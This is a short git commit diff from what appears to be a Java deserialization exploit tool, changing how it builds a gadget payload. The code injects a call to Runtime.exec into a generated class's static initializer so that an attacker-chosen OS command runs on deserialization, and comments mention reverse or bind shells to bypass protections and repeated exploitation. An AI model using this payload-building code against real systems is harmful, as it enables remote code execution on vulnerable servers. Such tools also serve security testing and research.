re-added java string escaping

This commit is contained in:
Chris Frohoff
2017-09-25 07:13:29 -07:00
parent b4d9c9b8a7
commit cf44df121a
@@ -117,7 +117,9 @@ public class Gadgets {
final CtClass clazz = pool.get(StubTransletPayload.class.getName());
// run command in static initializer
// TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
String cmd = "java.lang.Runtime.getRuntime().exec(new String[] {" + Strings.join(Arrays.asList(command), ", ", "\"", "\"") + "});";
String cmd = "java.lang.Runtime.getRuntime().exec(new String[] {" +
Strings.join(Arrays.asList(Strings.escapeJavaStrings(command)), ", ", "\"", "\"") +
"});";
clazz.makeClassInitializer().insertAfter(cmd);
// sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)